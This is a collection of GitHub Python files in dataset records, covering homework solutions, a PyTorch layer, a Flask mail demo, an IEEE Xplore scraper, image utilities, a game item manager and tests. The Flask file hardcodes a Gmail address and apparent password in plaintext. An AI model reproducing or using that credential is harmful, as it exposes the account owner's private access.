str\n @param s: String\n\n @rtype: List\n @return: Returns a list of the letters not present in the string\n \"\"\"\n\n # Write your code below.\n\n # every index in this list represents the index of a letter in the alphabet\n s = s.lower()\n letter_present = [False for i in range(26)]\n\n for letter in s:\n # use ASCII to find out the index of the current letter in the alphabet\n if letter.isalpha():\n index = ord(letter) - ord('a')\n\n # mark that letter as being seen\n letter_present[index] = True\n\n result = []\n for idx in range(len(letter_present)):\n if not letter_present[idx]:\n # convert back to letter\n missing_letter = chr(idx + ord('a'))\n result.append(missing_letter)\n\n return result\n\nif __name__ == \"__main__\":\n test_string_1=\"The quick brown fox jumps over the lazy dog\"\n print(\"Input:\", test_string_1)\n print(\"Your output:\", missing_letters(test_string_1))\n print(\"Expected:\", [])\n\n test_string_2=\"The brown fox jumps over the dog\"\n print(\"Input:\", test_string_2)\n print(\"Your output:\", missing_letters(test_string_2))\n print(\"Expected:\", ['a','c','i','k','l','q','y','z'])\n","repo_name":"shiksb/IntroPython","sub_path":"homework/HW2/solutions/missing_letters.py","file_name":"missing_letters.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42089495214","text":"import torch\nfrom torch import nn\n\nclass SEBlock(nn.Module):\n \"\"\"\n Implementation of the Squeeze-and-Excitation (SE) block proposed in [1].\n\n Parameters\n ----------\n in_channels : int\n Number of channels in the input tensor.\n\n reduction : int, optional, default=16\n Reduction ratio to control the intermediate channel dimension.\n\n References\n ----------\n 1. \"`Squeeze-and-Excitation Networks. `_\" Jie Hu, et al. CVPR 2018.\n \"\"\"\n\n def __init__(\n self,\n in_channels: int,\n reduction: int = 16\n ) -> None:\n super(SEBlock, self).__init__()\n\n out_channels = in_channels // reduction\n\n self.squeeze = nn.AdaptiveAvgPool2d(1)\n self.excitation = nn.Sequential(\n nn.Conv2d(in_channels, out_channels, kernel_size=1, bias=False),\n nn.ReLU(),\n nn.Conv2d(out_channels, in_channels, kernel_size=1, bias=False),\n nn.Sigmoid()\n )\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Parameters\n ----------\n x : torch.Tensor (batch_size, in_channels, height, width)\n Input tensor.\n\n Returns\n -------\n out : torch.Tensor (batch_size, in_channels, height, width)\n Output of the SK convolution layer.\n \"\"\"\n z = self.squeeze(x) # (batch_size, in_channels, 1, 1), eq.2\n s = self.excitation(z) # (batch_size, in_channels, 1, 1), eq.3\n out = x * s # channel-wise multiplication, eq. 4\n return out\n","repo_name":"Renovamen/torchop","sub_path":"torchop/conv/se.py","file_name":"se.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"73087601441","text":"import os\nfrom flask import Flask\nfrom flask_mail import Mail, Message\n\napp = Flask(__name__)\n\n\napp.config['MAIL_SERVER'] = 'smtp.gmail.com'\napp.config['MAIL_PORT'] = 465\napp.config['MAIL_USE_SSL'] = True\napp.config['MAIL_USENAME'] = \"apipsdayv@gmail.com\" # os.getenv('EMAIL')\napp.config['MAIL_PASSWORD'] = \"304130413041\" # os.getenv('EMAILPASS')\n\n\nmail = Mail(app)\n\n\n@app.route(\"/\")\ndef contact_email():\n try:\n msg = Message(\"Send Mail Tutorial!\", sender=\"apipsdayv@gmail.com\", recipients=[\"macharia3041@email.com\"])\n msg.body = \"Yo!\\nHave you heard the good word of Python???\"\n mail.send(msg)\n return 'Mail sent!'\n except Exception as e:\n return(str(e))\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"Dave-mash/my-site","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"31979888853","text":"import asyncio\nimport nest_asyncio\nimport pandas as pd\nimport numpy as np\nfrom playwright.async_api import Playwright, async_playwright\nfrom numpy import genfromtxt\nfrom collections import Counter\n\nnest_asyncio.apply()\n\nasync def open(playwright: Playwright):\n browser = await playwright.chromium.launch(headless=False)\n context = await browser.new_context()\n page = await context.new_page()\n\n return page\n\nasync def run1(page, i: int, search_key: str, year_from: str, year_to: str):\n await page.goto(\"https://ieeexplore.ieee.org/search/searchresult.jsp?queryText=\"+search_key+\"&highlight=false&returnType=SEARCH&matchPubs=true&sortType=newest&rowsPerPage=100&ranges=\"+year_from+\"_\"+year_to+\"_Year&returnFacets=ALL&pageNumber=\"+str(i), timeout = 0)\n await page.wait_for_timeout(10000)\n \n all_elements = await page.query_selector_all('.result-item-align')\n data = []\n for element in all_elements:\n author_category = await element.query_selector('p.author.text-base-md-lh')\n if str(author_category) != None:\n result = dict()\n\n title_el = await element.query_selector('a.fw-bold')\n if title_el != None:\n result['title'] = await title_el.inner_text()\n else:\n try:\n alt_title_el = await element.query_selector('text-md-md-lh')\n alt_title_span = await alt_title_el.query_selector('span')\n alt_title = await alt_title_span.inner_text()\n result['title'] = alt_title\n print(\"Title None: \"+str(alt_title))\n except:\n print(\"Title None\")\n\n all_author = await element.query_selector_all('span.text-base-md-lh')\n author_el = []\n for person in all_author:\n person_q = await person.query_selector('a')\n if person_q != None:\n author_el.append(await person_q.inner_text())\n author_el.append(\";\")\n \n author_el = ''.join(author_el)\n result['authors'] = author_el\n\n j_el = await element.query_selector('.description')\n j = await j_el.query_selector('a')\n if j != None:\n result['publishedAt'] = await j.inner_text()\n else:\n print('Journal None At: '+ str(await title_el.inner_text()))\n result['publishedAt'] = \"None\"\n\n publisher_els = await element.query_selector('.publisher-info-container')\n publisher_el = await publisher_els.query_selector_all('span')\n\n year_el = publisher_el[0]\n result['year'] = await year_el.inner_text()\n \n pub_type_el = publisher_el[1]\n _pub_type = await pub_type_el.query_selector_all('span')\n pub_type = _pub_type[1]\n result['pub_type'] = await pub_type.inner_text()\n\n data.append(result)\n else:\n try:\n temp_title_el = await element.query_selector('a.fw-bold')\n temp_alt_title = str(await temp_title_el.inner_text())\n print(\"Element Not a Research Work\"+temp_alt_title)\n except:\n print(\"Element Not a Research Work\")\n\n # print(data)\n return data\n\nasync def run2(url: str):\n async with async_playwright() as playwright:\n page = await open(playwright)\n await page.goto(url+\"keywords#keywords\", timeout = 0)\n await page.wait_for_timeout(4000)\n\n keywords = []\n\n elements = await page.query_selector_all('li.doc-keywords-list-item')\n if (elements == None) or (len(elements) < 2):\n print(\"No keywords\")\n return []\n else:\n author_key_el = elements[1]\n tar_key_el = await author_key_el.query_selector_all('a.stats-keywords-list-item')\n for key_el in tar_key_el:\n keywords.append(str(await key_el.inner_text()))\n\n return keywords\n\nasync def routine1(i: int, search_key: str, year_from: str, year_to: str):\n async with async_playwright() as playwright:\n page = await open(playwright)\n data_block = await run1(page, i, search_key, year_from, year_to)\n\n await asyncio.sleep(1)\n \n return data_block\n \nasync def routine2(urls: list):\n keywords = []\n\n loop = asyncio.get_event_loop()\n group = asyncio.gather(*[run2(url) for url in urls])\n results = loop.run_until_complete(group)\n\n for item in results:\n for i in item:\n keywords.append(i)\n\n await asyncio.sleep(1)\n\n return keywords\n \n \nasync def task_handler1(num: int, n_pages: int, search_key: str, year_from: str, year_to: str):\n full_data = []\n loop = asyncio.get_event_loop()\n\n num_start = num * 20 - 19\n num_fin = num_start + 20\n if num_fin > n_pages :\n num_fin = n_pages + 1\n group = asyncio.gather(*[routine1(i, search_key, year_from, year_to) for i in range(num_start, num_fin)])\n results = loop.run_until_complete(group)\n\n for item in results:\n for i in item:\n full_data.append(i)\n\n print('Tasks'+str(num)+' Done')\n\n df = pd.DataFrame.from_dict(full_data)\n df.to_csv('basic_infos.csv', index = False, mode='a', header=True)\n\n\nasync def task_handler2(i: int, search_key: str, year: str):\n async with async_playwright() as playwright:\n page = await open(playwright)\n search_target = \"https://ieeexplore.ieee.org/search/searchresult.jsp?queryText=\"+search_key+\"&highlight=false&returnType=SEARCH&matchPubs=true&sortType=newest&rowsPerPage=100&ranges=\"+year+\"_\"+year+\"_Year&returnFacets=ALL&pageNumber=\"+str(i)\n await page.goto(search_target, timeout = 0)\n await page.wait_for_timeout(10000)\n\n all_elements = await page.query_selector_all('.result-item-align')\n urls = []\n for element in all_elements:\n hrefs = await element.eval_on_selector_all(\"a[href^='/document']\", \"elements => elements.map(element => element.href)\")\n href = str(hrefs[0])\n urls.append(href)\n\n len_urls = len(urls)\n keywords = []\n \n for j in range(5):\n k = j * 10\n l = k + 20\n if l > len_urls + 1 :\n l = len_urls + 1\n sliced_urls = urls[k:l]\n part_keywords = await routine2(sliced_urls)\n for key in part_keywords:\n keywords.append(key)\n new_df = pd.DataFrame(keywords)\n new_df.to_csv('keywords.txt', index = False, mode='a', header=False)\n\n print(\"Page \"+str(i)+\" completed\")\n \n return keywords\n\nasync def how_many_pages(search_key: str, year_from: str, year_to: str):\n #collect the number of items, calc the number of pages to browse through.\n num_pages = 0\n async with async_playwright() as playwright:\n init_page = await open(playwright)\n await init_page.goto(\"https://ieeexplore.ieee.org/search/searchresult.jsp?queryText=\"+search_key+\"&highlight=false&returnType=SEARCH&matchPubs=true&sortType=newest&rowsPerPage=100&ranges=\"+year_from+\"_\"+year_to+\"_Year&returnFacets=ALL&pageNumber=1\", timeout = 0)\n await init_page.wait_for_timeout(10000)\n \n results = await init_page.query_selector_all('span.strong')\n results_str = await results[1].inner_text()\n num_results = int(results_str.replace(',', ''))\n num_pages = int(num_results/100)+1\n print(\"Number of search results pages : \"+str(num_pages))\n return num_pages\n\n \nasync def main():\n print(\"\\nExploring IEEE Xplore\\n\")\n search_key = input(\"Input the search keyword (currently only available for 'blockchain'): \")\n\n option_picked = int(input(\"Which procedure would you wish to work on? (enter a number)\\n[1] Collect basic infos\\n[2] Yearly keywords\\n[3] Top authors (from the output of [1])\\n[4] Yearly trends (from the output of [2])\\n\"))\n if (option_picked == 1) :\n year_from = input(\"Year range from (year) : \")\n year_to = input(\"Year range to (year) : \")\n\n if (year_to < year_from):\n print(\"Error in year range\")\n return\n else:\n num_pages = await how_many_pages(search_key, year_from, year_to)\n end_range = int(num_pages/20) + 2\n\n #start collecting\n for i in range (1, end_range):\n await task_handler1(i, num_pages, search_key, year_from, year_to)\n\n elif (option_picked == 2) :\n year_at = input(\"Pick a specific year collect keywords :\")\n num_pages = await how_many_pages(search_key, year_at, year_at)\n\n keywords = []\n for i in range (1, num_pages + 1):\n part_keywords = await task_handler2(i, search_key, year_at)\n keywords.append(part_keywords)\n\n elif (option_picked == 3) :\n data = pd.read_csv(\"basic_infos.csv\")\n authors_raw = data['authors'].tolist()\n authors = []\n for item in authors_raw:\n splited = str(item).split(\";\")\n for author in splited:\n authors.append(author)\n \n #remove the items that do not have any author\n authors = [str(val) for val in authors]\n authors = [val for val in authors if ((val != 'nan') and (val != ''))]\n\n author_counts = Counter(authors)\n trend_authors = author_counts.most_common(10)\n print(trend_authors)\n\n elif (option_picked == 4) :\n keywords = genfromtxt('keywords.txt', delimiter='\\n', dtype=None, encoding=\"utf8\")\n\n #force lowercase\n keywords = list(map(lambda x: x.lower(), keywords))\n \n #replace redundant(repeated or duplicated) words to a single word\n keywords = list(map(lambda x: x.replace('blockchains', 'blockchain'), keywords))\n\n keywords = list(map(lambda x: x.replace('contracts', 'smart contract'), keywords))\n keywords = list(map(lambda x: x.replace('smart contracts', 'smart contract'), keywords))\n\n keywords = list(map(lambda x: x.replace('internet of things (iot)', 'internet of things'), keywords))\n keywords = list(map(lambda x: x.replace('iot', 'internet of things'), keywords))\n\n #delete search keyword (blockchain) from the list\n keywords = [val for val in keywords if (val != 'blockchain')]\n \n keyword_counts = Counter(keywords)\n trend_keywords = keyword_counts.most_common(10)\n print(trend_keywords)\n\n\n else:\n print(\"Wrong input\")\n return\n\nasyncio.run(main())","repo_name":"hugo-kim1/playwright_IEEE_Xplore","sub_path":"Explore_IEEE_Xplore.py","file_name":"Explore_IEEE_Xplore.py","file_ext":"py","file_size_in_byte":10624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72816684001","text":"import math\n\nt = int(input())\nfor _ in range(t):\n K, d0, d1 = map(int, input().split())\n s = d0 + d1\n c = ((2 * s) % 10) + ((4 * s) % 10) + ((8 * s) % 10) + ((6 * s) % 10)\n num_cycles = math.floor((K - 3) / 4)\n tot = 0\n if K == 2:\n tot = s\n else:\n tot = s + (s % 10) + (c * num_cycles)\n left_over = (K - 3) - (num_cycles * 4)\n p = 2\n for i in range(1, left_over + 1):\n tot += ((p * s) % 10)\n p = ((p * 2) % 10)\n if ((tot % 3) == 0):\n print(\"YES\")\n else:\n print(\"NO\")\n","repo_name":"CasCard/Competitive-Programming","sub_path":"DSALEARNINGSERIES/MULTHREE.py","file_name":"MULTHREE.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"42199233820","text":"#!/usr/bin/env python\nimport time\nimport subprocess\nfrom copy import copy\n\n# Full list of Exposure and White Balance options\n# list_ex = ['off','auto','night','nightpreview','backlight',\n# 'spotlight','sports','snow','beach','verylong',\n# 'fixedfps','antishake','fireworks']\n# list_awb = ['off','auto','sun','cloud','shade','tungsten',\n# 'fluorescent','incandescent','flash','horizon']\n\n# Refined list of Exposure and White Balance options. 50 photos.\n# list_ex = ['off','auto','night','backlight','fireworks']\n# list_awb = ['off','auto','sun','cloud','shade','tungsten',\n# 'fluorescent','incandescent','flash','horizon']\n\n\ndef takePhotos(status, statusLock):\n\n\twhile True:\n\t\twith statusLock:\n\t\t\t# Get variables from status object\n\t\t\tcapturingImages = copy(status.capturingImages)\n\t\t\tinterval = copy(status.photoInterval)\n\t\t\tresolution = copy(status.photoResolution)\n\t\t\tquality = copy(status.photoQuality)\n\n\t\tif capturingImages:\n\t\t\tresolution = resolution.split('x')\n\t\t\t# Create image file with current time as name\n\n\t\t\tfilename = \"photos/\" + str(int(time.time()*1000)) + \".jpg\"\n\t\t\tcmd = 'raspistill -o ' + filename + \\\n\t\t\t\t' -t 1 ' + \\\n\t\t\t\t' -w ' + resolution[0] + \\\n\t\t\t\t' -h ' + resolution[1] + \\\n\t\t\t\t' -q ' + str(quality)\n\t\t\tpid = subprocess.call(cmd, shell=True)\n\t\t\t#print(\"Took image.\")\n\n\t\t# Sleep for time interval (/1000 for milliseconds to secs)\n\t\ttime.sleep(interval / 1000)\n","repo_name":"jake2184/drone_pi","sub_path":"python/imageCapture.py","file_name":"imageCapture.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"32206790290","text":"import os\r\nimport docx2txt\r\nimport re\r\nimport pandas as pd\r\nimport PyPDF2\r\n\r\n# Define regex patterns to extract phone number and email\r\nphone_pattern = re.compile(r'\\d{10}|\\d{3}-\\d{3}-\\d{4}|\\d{3} \\d{3} \\d{4}|\\d{5} \\d{5}')\r\nemail_pattern = re.compile(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}')\r\nname_pattern = re.compile(r'([A-Z][a-z]+) ([A-Z][a-z]+)')\r\nexperience_pattern= re.compile(r'\\b(\\d+)\\s+years?\\b')\r\n\r\n\r\n\r\n# Create an empty list to store the extracted information\r\ninfo_list = []\r\n\r\n# Loop through the .docx files in the folder\r\nfolder_path = (r\"C:\\Users\\S.R SHALINI RAJENDAR\\Downloads\\OneDrive_2023-02-28\\Embedded freshers_2-4yrs\")\r\nfor filename in os.listdir(folder_path):\r\n if filename.endswith(\".docx\"):\r\n # Extract the text from the file\r\n file_path = os.path.join(folder_path, filename)\r\n text = docx2txt.process(file_path)\r\n \r\n name = text.split('\\n')[0] # Extract the name from the text (assuming the name is the first line)\r\n \r\n phone_match = phone_pattern.search(text) # Extract the phone number from the text using regex\r\n if phone_match:\r\n phone = phone_match.group()\r\n else:\r\n phone = ''\r\n\r\n email_match = email_pattern.search(text) # Extract the email address from the text using regex\r\n if email_match:\r\n email = email_match.group()\r\n else:\r\n email = ''\r\n \r\n experience_match = experience_pattern.search(text)\r\n if experience_match:\r\n experience=experience_match.group()\r\n else:\r\n experience = ''\r\n \r\n\r\n # Add the information to the list\r\n info_list.append([name, phone, email,experience])\r\n \r\n\r\n elif filename.endswith(\".pdf\"):\r\n file_path = os.path.join(folder_path, filename)\r\n with open(file_path, 'rb') as pdf_file:\r\n reader = PyPDF2.PdfReader(pdf_file)\r\n page = reader.pages[0]\r\n text = page.extract_text()\r\n # Extract the name from the text (assuming the name is the first line)\r\n name = text.split('\\n')[0]\r\n \r\n \r\n \r\n\r\n # Extract the phone number from the text using regex\r\n phone_match = phone_pattern.search(text)\r\n if phone_match:\r\n phone = phone_match.group()\r\n else:\r\n phone = ''\r\n\r\n # Extract the email address from the text using regex\r\n email_match = email_pattern.search(text)\r\n if email_match:\r\n email = email_match.group()\r\n else:\r\n email = ''\r\n experience_match=experience_pattern.search(text)\r\n if experience_match:\r\n experience=experience_match.group()\r\n else:\r\n experience = ''\r\n\r\n\r\n # Add the information to the list\r\n info_list.append([name, phone, email,experience])\r\n\r\n # Convert the list to a Pandas DataFrame\r\ndf = pd.DataFrame(info_list, columns=['Name', 'Phone', 'Email','Experience'])\r\n\r\n# Save the DataFrame to an Excel file\r\nexcel_path = (r\"C:\\Users\\S.R SHALINI RAJENDAR\\Downloads\\Untitled spreadsheet (1).xlsx\")\r\ndf.to_excel(excel_path, index=False)\r\n","repo_name":"allurikalyani1224/cardsautoslides","sub_path":"automationresume.py","file_name":"automationresume.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3636464507","text":"import string\nfrom random import random, randint\nfrom typing import List\n\nfrom exceptions.weapon_type_not_found_exception import WeaponTypeNotFoundException\nfrom items.armour import Armour\nfrom items.equip_type import EquipType\nfrom items.item_type import ItemType\nfrom items.material import Material\nfrom items.shield import Shield\n\nfrom exceptions.material_not_found_exception import MaterialNotFoundException\nfrom items.weapon import Weapon\n\n\nclass ItemManager:\n weaponTypes: List[EquipType] = []\n shieldTypes = []\n armourTypes = []\n armourMaterials = []\n materials = []\n\n def __init__(self):\n self.materials.append(Material(\"Rusty\", DMG=1, DEF=2, DUR=2))\n self.materials.append(Material(\"Bronze\", DMG=1, DEF=2, DUR=2 ))\n self.materials.append(Material(\"Iron\", DMG=3, DEF=4, DUR=3 ))\n self.materials.append(Material(\"Silver\", DMG=5, DEF=2, DUR=1 ))\n self.materials.append(Material(\"Mythril\", DMG=3, DEF=5, DUR=3 ))\n self.materials.append(Material(\"Mysterious alloy\", DMG=5, DEF=6, DUR=2 ))\n self.materials.append(Material(\"Dragon scales\", DMG=4, DEF=7, DUR=4 ))\n\n self.armourMaterials.append(Material(\"Leather\", DMG=0, DEF=1, DUR=15))\n\n self.armourTypes.append(EquipType(\"Gauntlets\", ItemType.HANDS, DEFDMG=1, dur=5))\n self.armourTypes.append(EquipType(\"Leggings\", ItemType.LEGS, DEFDMG=3, dur=7))\n self.armourTypes.append(EquipType(\"Armour\", ItemType.BODY, DEFDMG=5, dur=5))\n self.armourTypes.append(EquipType(\"Helmet\", ItemType.HEAD, DEFDMG=7, dur=3))\n\n self.shieldTypes.append(EquipType(\"Shield\", ItemType.SHIELD, DEFDMG=1, dur=10))\n\n self.weaponTypes.append(EquipType(\"Dagger\", ItemType.WEAPON, DEFDMG=1, dur=5))\n self.weaponTypes.append(EquipType(\"Mace\", ItemType.WEAPON, DEFDMG=3, dur=7))\n self.weaponTypes.append(EquipType(\"Sword\", ItemType.WEAPON, DEFDMG=5, dur=5))\n self.weaponTypes.append(EquipType(\"Long sword\", ItemType.WEAPON, DEFDMG=7, dur=7))\n self.weaponTypes.append(EquipType(\"Great Sword\", ItemType.WEAPON, DEFDMG=7, dur=3))\n\n\n def all_materials(self):\n return self.materials + self.armourMaterials\n\n def get_material(self, material_name: string):\n material = [mat for mat in self.all_materials() if mat.name == material_name][0]\n if not material:\n raise MaterialNotFoundException()\n return material\n\n def get_weapon_type(self, weapon_type_name: string) -> EquipType:\n equip_type = [wt for wt in self.weaponTypes if wt.name == weapon_type_name][0]\n if not equip_type:\n raise WeaponTypeNotFoundException()\n return equip_type\n\n def get_armour_type(self, armour_type_name: string):\n return [armour for armour in self.armourTypes if armour.name == armour_type_name][0]\n\n def get_shield_type(self, shield_type_name: string):\n return [shield for shield in self.shieldTypes if shield.name == shield_type_name][0]\n\n def _generate_material(self, defensive = False):\n materialList = []\n for mat in self.materials:\n materialList.append(mat)\n if defensive:\n for mat in self.armourMaterials:\n materialList.append(mat)\n return materialList[randint(0, len(materialList) - 1)]\n\n def _generate_weapon_type(self):\n return self.weaponTypes[randint(0, len(self.weaponTypes) - 1)]\n\n def _get_shield_type(self):\n return self.shieldTypes[randint(0, len(self.shieldTypes) - 1)]\n\n def _generate_armour(self):\n return self.armourTypes[randint(0, len(self.armourTypes) - 1)]\n\n def generateWeapon(self):\n weaponType = self._generate_weapon_type()\n material = self._generate_material()\n drop = Weapon(material, weaponType)\n print(\"[@] you obtained \" + drop.get_name() + \"!\")\n return drop\n\n def generateShield(self):\n shieldType = self._get_shield_type()\n material = self._generate_material(True)\n drop = Shield(material, shieldType)\n print(\"[@] You obtained a \" + drop.get_name() + \"!\")\n return drop\n\n def generateArmour(self):\n armourType = self._generate_armour()\n material = self._generate_material(True)\n drop = Armour(material, armourType)\n print(\"[@] You obtained a \" + drop.get_name() + \"!\")\n return drop\n","repo_name":"chickenLags/TextGame","sub_path":"items/item_manager.py","file_name":"item_manager.py","file_ext":"py","file_size_in_byte":4393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"41287318381","text":"from itertools import product\nimport pytest\n\nfrom classes.PessoaFisica import PessoaFisica\nfrom classes.Endereco import Endereco\nfrom classes.Produto import Produto\nfrom classes.Pedido import Pedido\nfrom classes.Carrinho import Carrinho\nfrom classes.Pagamentos import Pagamento\n\nimport copy\n\n\n@pytest.mark.pessoafisica\n@pytest.mark.main3\ndef test_pessoa_fisica_criacao_main3():\n\n pessoa = PessoaFisica(78945623498,'netnet@netnet.com.br','Johnson')\n\n assert pessoa.nome == 'Johnson' and pessoa.cpf == 78945623498 and pessoa.email == 'netnet@netnet.com.br' and pessoa.listar_enderecos() == []\n\n@pytest.mark.main3\n@pytest.mark.endereco\ndef test_endereco_cep_str_main3():\n end = Endereco('05447000', 43)\n\n assert end.rua == 'Rua Caropá'\n\n\n@pytest.mark.main3\n@pytest.mark.endereco\ndef test_endereco_cep_int_main3():\n end = Endereco(1223010,840)\n\n assert end.rua == 'Rua General Jardim'\n\n\n\n@pytest.mark.main3\n@pytest.mark.pessoafisica\ndef test_pessoa_fisica_adicionar_endereco_e_listar_main3():\n pessoa1 = PessoaFisica(78945623498,'netnet@netnet.com.br','Johnson')\n\n end1 = Endereco('05447000', 43)\n end2 = Endereco(1223010,840)\n\n pessoa1.adicionar_endereco('casa', end1)\n pessoa1.adicionar_endereco('trabalho', end2)\n\n lista = pessoa1.listar_enderecos()\n\n assert lista == [f'casa : {end1}',f'trabalho : {end2}']\n\n\n@pytest.mark.main3\n@pytest.mark.pessoafisica\ndef test_pessoa_fisica_listar_endereco_vazio():\n pessoa1 = PessoaFisica(78945623498,'netnet@netnet.com.br','Johnson')\n\n lista = pessoa1.listar_enderecos()\n\n assert lista == []\n\n\n@pytest.mark.main3\n@pytest.mark.pessoafisica\ndef test_pessoa_fisica_busca_nome_valido_main3():\n pessoa1 = PessoaFisica(789450000000,'netenete@netnet.com.br','João')\n\n pessoas = PessoaFisica.busca_nome('João')\n\n assert len(pessoas)>0 and pessoas[0].nome == pessoa1.nome\n\n\n@pytest.mark.main3\n@pytest.mark.pessoafisica\ndef test_pessoa_fisica_busca_nome_invalido_main3():\n pessoa1 = PessoaFisica(789498,'netneti@netnet.com.br','Jo')\n\n pessoas = PessoaFisica.busca_nome('John')\n\n assert len(pessoas)==0 and pessoas == []\n\n\n@pytest.mark.main3\n@pytest.mark.produto\ndef test_produtos_busca_nome_valido_main3():\n prod = Produto(2, 'Donuts')\n lista = Produto.busca_nome('Donuts')\n\n assert lista[0] == prod\n\n\n@pytest.mark.main3\n@pytest.mark.produto\ndef test_produtos_busca_nome_invalido_main3():\n prod = Produto(2, 'Donuts')\n lista = Produto.busca_nome('Don')\n\n assert lista == []\n\n\n@pytest.mark.main3\n@pytest.mark.pedido\ndef test_pagamento_processa_pagamento_com_endereco_e_lista_main3():\n pessoa1 = PessoaFisica(78945623498,'netnet@netnet.com.br','Johnson')\n car = Carrinho()\n\n end1 = Endereco('05447000', 43)\n end2 = Endereco(1223010,840)\n\n pessoa1.adicionar_endereco('casa', end1)\n pessoa1.adicionar_endereco('trabalho', end2)\n\n lista = pessoa1.listar_enderecos()\n\n end = lista[0]\n\n pedido = Pedido(pessoa1,car)\n pedido.endereco_entrega = copy.deepcopy(end) \n pedido.endereco_faturamento = copy.deepcopy(end)\n\n pag = Pagamento(pedido)\n pag.processa_pagamento()\n if pag.pagamento_aprovado:\n pedido.status = Pedido.PAGO \n \n\n assert pedido.status == 2 and len(lista)>0 and lista[0] == 'casa : São Paulo, SP, Rua Caropá, 43, 05447000'\n","repo_name":"insper-classroom/refatoracao-de-endereco-pedido-e-criacao-de-testes-alfredjynx","sub_path":"test/test_operacoes_main_3.py","file_name":"test_operacoes_main_3.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19184449184","text":"import cv2\nimport numpy as np\nfrom math import atan2, degrees, radians\nfrom scipy import ndimage as ndi\n\n\ndef find_cameras_indexes(count_looking_for=4):\n max_index = count_looking_for * 6\n cam_index = 0\n found_camera_indexes = []\n while cam_index < max_index and len(found_camera_indexes) < count_looking_for:\n cap = cv2.VideoCapture(cam_index)\n if cap.read()[0]:\n found_camera_indexes.append(cam_index)\n cap.release()\n cam_index += 1\n\n return found_camera_indexes\n\n\ndef registration(P, x_dash, y_dash):\n w1 = np.linalg.inv(P.T @ P) @ P.T @ x_dash\n w2 = np.linalg.inv(P.T @ P) @ P.T @ y_dash\n affine_matrix = np.array([[1.0, 0.0, 0.0],\n [0.0, 1.0, 0.0],\n [0.0, 0.0, 1.0]])\n affine_matrix[0, :] = w1\n affine_matrix[1, :] = w2\n return affine_matrix\n\n\ndef compute_affine_transformation(points1, points2):\n vec_one = np.ones((points1.shape[0], 1))\n P = np.hstack([points1, vec_one])\n x_dash = points2[:, 0]\n y_dash = points2[:, 1]\n\n A = registration(P, x_dash, y_dash)\n return A\n\n\ndef get_angle(point_1, point_2): # These can also be four parameters instead of two arrays\n angle = atan2(point_2[1] - point_1[1], point_2[0] - point_1[0])\n\n # Optional\n angle = degrees(angle)\n\n # OR\n # angle = radians(angle)\n\n return angle\n\n\ndef trim(frame):\n # crop top\n if not np.sum(frame[0]):\n return trim(frame[1:])\n # crop top\n if not np.sum(frame[-1]):\n return trim(frame[:-2])\n # crop top\n if not np.sum(frame[:, 0]):\n return trim(frame[:, 1:])\n # crop top\n if not np.sum(frame[:, -1]):\n return trim(frame[:, :-2])\n return frame\n\n\ndef apply_homography(img, matrix, shape):\n return cv2.warpPerspective(img, matrix, shape)\n\n\ndef combine_images(left, right, matrix):\n dst = cv2.warpPerspective(left, matrix, (right.shape[1] + left.shape[1]*2, right.shape[0]*2))\n # cv2.imshow('dst', dst)\n # cv2.waitKey()\n dst[0:right.shape[0], 0:right.shape[1]] = right\n\n return trim(dst)\n\n\ndef apply_affine_transformation(img, matrix):\n transformed_image = cv2.merge([ndi.affine_transform(img[:, :, 0], matrix),\n ndi.affine_transform(img[:, :, 1], matrix),\n ndi.affine_transform(img[:, :, 2], matrix)])\n\n return transformed_image\n\n\ndef rotate_image(mat, angle):\n \"\"\"\n Rotates an image (angle in degrees) and expands image to avoid cropping\n \"\"\"\n\n height, width = mat.shape[:2] # image shape has 3 dimensions\n image_center = (width/2, height/2) # getRotationMatrix2D needs coordinates in reverse order (width, height) compared to shape\n\n rotation_mat = cv2.getRotationMatrix2D(image_center, angle, 1.)\n\n # rotation calculates the cos and sin, taking absolutes of those.\n abs_cos = abs(rotation_mat[0,0])\n abs_sin = abs(rotation_mat[0,1])\n\n # find the new width and height bounds\n bound_w = int(height * abs_sin + width * abs_cos)\n bound_h = int(height * abs_cos + width * abs_sin)\n\n # subtract old image center (bringing image back to origo) and adding the new image center coordinates\n rotation_mat[0, 2] += bound_w/2 - image_center[0]\n rotation_mat[1, 2] += bound_h/2 - image_center[1]\n\n # rotate image with the new bounds and translated rotation matrix\n rotated_mat = cv2.warpAffine(mat, rotation_mat, (bound_w, bound_h))\n return rotated_mat\n","repo_name":"talha3khan222/VideoStitcher360","sub_path":"Utils/generals.py","file_name":"generals.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39355546057","text":"# Posiciones en memoria de tipos de datos:\n# int 0-5,000, float 5,001-10,000, bool 10,001-15,000\nclass VarTable(dict):\n\tdef __init__(self, pInt = 0, pDecim = 5001, pBool = 10001, pVoid = 15001):\n\t\tself.aux = 0\n\t\tself.pLast = 0\n\t\tself.pInt = pInt\n\t\tself.pDecim = pDecim\n\t\tself.pBool = pBool\n\t\tself.pVoid = pVoid\n\n\tdef getpInt(self):\n\t\treturn self.pInt\n\n\tdef getpDecim(self):\n\t\treturn self.pDecim\n\n\tdef getpBool(self):\n\t\treturn self.pBool\n\n\tdef 